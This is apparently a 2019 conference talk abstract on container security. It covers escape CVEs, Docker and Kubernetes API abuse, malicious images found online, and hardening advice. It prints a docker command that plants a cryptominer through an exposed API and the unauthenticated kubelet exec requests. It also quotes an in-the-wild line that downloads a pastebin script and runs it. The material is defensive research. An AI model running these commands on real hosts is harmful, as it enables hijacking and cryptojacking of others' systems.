Who contains the containers
2019-10-24, 10:30–11:15, Europe

Who contain the containers ?

introduction

Today it is extremely easy to deploy micro-services using containers technologies. And as usual for every easy-to-deploy technologies, people have tendencies to not using common sense before using them: You are one-click away from being easily compromised !

In this talk we will present most common vulnerabilities and unsecure configurations found on containers technologies and how to exploit them. Then we will try to figure out if we can find actually compromised containers on Internet. Finally we will describe recommendations on how to secure and how to detect attacks against container technologies.

Attacks against container technologies

When we speak about container technologies, two main components may be subject to attacks:

  • Containers technologies (docker, rkt, Solaris containers, Microsoft Containers ...)
  • Container orchestration tools (kubernetes, apache meos, docker swarm, docker data center)

Another important part of the environment is the storage container (clusterHQ, BlockBridge,EMC...) but it can be attacked through the orchestration engine so we will not describe them with too much details in this talk.

Also it is important to highlight the fact that most cloud service providers provide their own implemantation of orchestration tools, which can be targeted as well.

exploit vulnerabilities to break out of containers

Worst scenario for containers is the possibility for a malicious or compromised container to escape and attack the host system. Of course it happened with a vulnerability on runC (CVE-2019-5736: runc container breakout).

Vulnerability was discovered by Adam Iwaniuk and Borys Popławski and affect most of the containers softwares and a proof-of-concept is available: https://github.com/Frichetten/CVE-2019-5736-PoC

As this vulnerability is probably the most critical, others are not to be ignored:

  • CVE-2018-11757 (Docker): a Docker action inheriting the Docker tag openwhisk/dockerskeleton:1.3.0 (or earlier) may allow an attacker to replace the user function inside the container if the user code is vulnerable to code exploitation,
  • CVE-2018-8115 (Docker for Windows): A remote code execution vulnerability exists when the Windows Host Compute Service Shim (hcsshim) library fails to properly validate input while importing a container image,
  • Vulnerabilities on "rkt enter" commands (CVE-2019-10144, CVE-2019-10145 and CVE-2019-10146): discovered by Yuval Avrahami, those vulnerabilities could be used to escape to the host system by putting traps on modified binaries in a compromised container (https://www.twistlock.com/labs-blog/breaking-out-of-coresos-rkt-3-new-cves/)

abusing APIs

APIs are great to automate admin tasks ... or compromising at a scale. If not properly secured, API access can be used to start, delete or configure containers or the host sytem.

Here is some attack example abusing APIs:

  • Docker: create container via API

Docker API is exposed on port 2375/TCP or 2376/TCP (SSL). If default configurtion is used (who do that ? :D) a simple POST request give us the possibility to deploy and start a Docker Image. The image will be downloaded from Docker Hub automatically...

We can use a crafted HTTP request or just the docker client as shown bellow:

docker -H target:2376 run --restart unless-stopped --read-only -m 50M -c 512 bitnn/alpine-xmrig -o POOOOL -u WALLET -p X -k

  • Kubernetes: Unauthenticated endpoint on Kubelet (port 10250) to perform exec command

The exploitation take 2 steps, first a POST request to the exec endpoint:

POST "https://target:10250/exec/<namespace>/<podname>/<container-name>?command=whoami&input=1&output=1&tty=1"

Then a GET request (SPDY capable client) using location header from the response of the previous request

wscat -c "https://target:10250/cri/exec/XxXxXxXx" --no-check

A single GET request is used to list the available containers on the target:

GET "https://target:10250/pods"

Those two examples can be reproduced against most orchestration tools of the API endpoints are not properly secured.

compromising containers repositories

Supply-chain attacks can happen on container image repositories. An attacker could successfully push an update to a well-known container image and just wait for victims to deply/update. Or even creating an account on the repository (let say Docker Hub for example) and convincing people to use their images.

That is exacly what happen recently with Zuulu2 botnet (see https://github.com/docker/hub-feedback/issues/1809). Somebody pushed a cryptomining image on Docher Hub and exploit weak configuration to download and run the container image. The image is also used to discover new potential targets.

Is it legit ?

While working on another project, we stumbled accross some strange containers online, so we asked ourself if we could find more of those suspicious stuff. We mostly concentrated on Docker as it is the most popular (so the most targeted)

To do that, we developped some script to extract information on available containers online via their exposed API endpoints and parse the extracted data to highlight potentially "unwanted" containers. Identifying online API is done by leveraging internet scanning services (Shodan, Onyphe and Censys).

Another technique consist of downloading unverifed images (to limit the scope of the investigation, we look for modified alpine images) from container images repositories and analysing startup scripts of those images. A good tool to perform this task for Docker images is Dive (https://github.com/wagoodman/dive).

In this part, we will present some interesting containers we found running online and drill-down to the TTPs used by the TA behind the supposed infection. Here is some examples (all Docker):

Xmrig image

Suspicious level: low

We found some docker image used for cryptocurrency mining which may be suspicious because it is probably the least efficient way to do mining... but we never know.

Nice wget you got there

Suspicious level: high

Ok this time we are sure it is malicious : chroot /mnt /bin/sh -c 'yum install wget -y;apt-get install wget -y;rm hrfbyyu.sh;wget https://pastebin.com/raw/h7HiT3uR ...

So when the image it started, it will install wget via yum OR apt-get, then download and execute a script from pastebin ... does not really look legit ...

The script itself is base64 encoded and contains update and persistence mechanisms for Linux and cryptomining activities.

Xulu botnet

Suspicious level: high

Some month ago, a user named zuulu2 on Docker Hub uploaded malicious images perfoming scanning of other potential victims and cryptomining activities. It spread exploiting open Docker API. Malicious images were removed from Docker Hub.

By getting the list of running or available containers, we can see that the zuulu2 images are still running on several servers.

Dockerfile: CMD ["/run.sh"]

We identified this image posted on Docker Hub 6 month ago. User only uploaded one image and the description was just CMD ["/run.sh"]. By using Dive, we identified modifications from the base image (alpine):

  • adding a user named miner
  • downloading and compiling xmrig
  • starting the mining process (XMR)

Containers security

The security of a container does not resume only to the container itself. A container is based on an image, which contains all the files required to run. But what if the used image is vulnerable or it has some configuration defects,embedded clear text secrets or it might contain embedded malware, intended to do something else than the initial purpose.

Many images for containers are stored usually in a central location because they are easy to control, reuse, share across the community. Do we trust those registries or are we sure that the connection to those registries is secure?

Orchestration tools are great for managing the containers. They pull the images from registries , deploy images into containers and manage the running containers. But is it always clearly defined who has access or not?Do we trust the orchestrator node in the cluster? Is it properly separated the network traffic between the containers in the orchestrator configuration ?

Multiple containers share the same OS kernel instance.Each operating system has a container runtime, which coordinates different OS components in such a way that each container sees only its dedicated resources and it is isolated from other containers running at the same time. Anyone with access to the kernel root account can see and access all containers.The attack surface level on the host OS is pretty big. The attacker can attempt to exploit host OS vulnerabilities, tampering file systems or gain priviledged user access rights.

Hardening

When you think at hardening a container, you have to take into consideration all the components that make a container up and running. And as there is no clear and concrete security for the containers, we have to find measures to harden every component.
We will present best practices for each component.

Container Images Security

  • use only signed images from trusted registry
  • visibility into all layers of the image
  • validation of the configuration of the images, regular patching updates
  • constant monitoring

Host Security

  • harden the host
  • always patch
  • grant authorization wisely,by controlling user access
  • separate partitions for containers
  • audit all the container's activity

Container Runtime Security

  • namespaces - what a container can see and to what extenct can interract with each oter internally
  • cgroups - how much of shared kernel and system resources a container will consume
  • seccomp - secure computing mode
  • process restrictions
  • device and file restrictions

Orchestration environment security

  • limit direct access
  • fine-grained-access control rules
  • administrative boundaries
  • resource quota
  • safe management and distribution of secrets
  • encrypt data exchange

Auditing

It is important to continously scan your containers for vulnerabilities of various kinds,including bugs,inadequate authentication and authorization ,embedded secrets and misconfiguration.
Auditing containers can be challenging, on one side because of their architecture and on the other side the short lifetime and the density of the containers deployed. It becomes really difficult to track what exactly was deployed.

On your host audit regular Linux file system and system calls and also log who is running the container service. Add audit rules for the container service using auditd.
Also make sure you have a container-native log collection agent on your host , which provides automatic collection and processing of container logs.

Monitoring

Monitoring your container activity it is essential in identifying security incidents and providing audit trails.
Containered environments require logging at multiple layers - the host, the container orchestrator and the container itself. * monitor and capture host logs * monitor the container orchestration system used like Docker Swarm, Kubernetes, Apache Mesos and Hashicorp Nomad * ensure adequate log information at the containers, by setting the log level in your container

Tools

There are different tools out there, which might help you in monitoring your containered environment, but this is not done easily.

  • docker remote API - The docker engine client provides an API, through which you collect basic monitoring function of Docker containers
  • container advisor(cAdvisor) - it consists of a container, which can collect,process,aggregate and export information related to running containers.
  • prometheus - monitoring tools that can be used to observe metrics and raise alerts, based on the applied alerting rules over the input data. Everything can be displayed in a UI dashboard,based on Grafana

Conclusion

Micro-services are the future they say. Sure thing for cyber-criminals ! As those technologies will be more and more used and most probably in the cloud, SOC teams need to start worrying about the potential impact and how to face those new threats. It will take time. Oh and we did not spoke about serverless services like AWS Lambda ...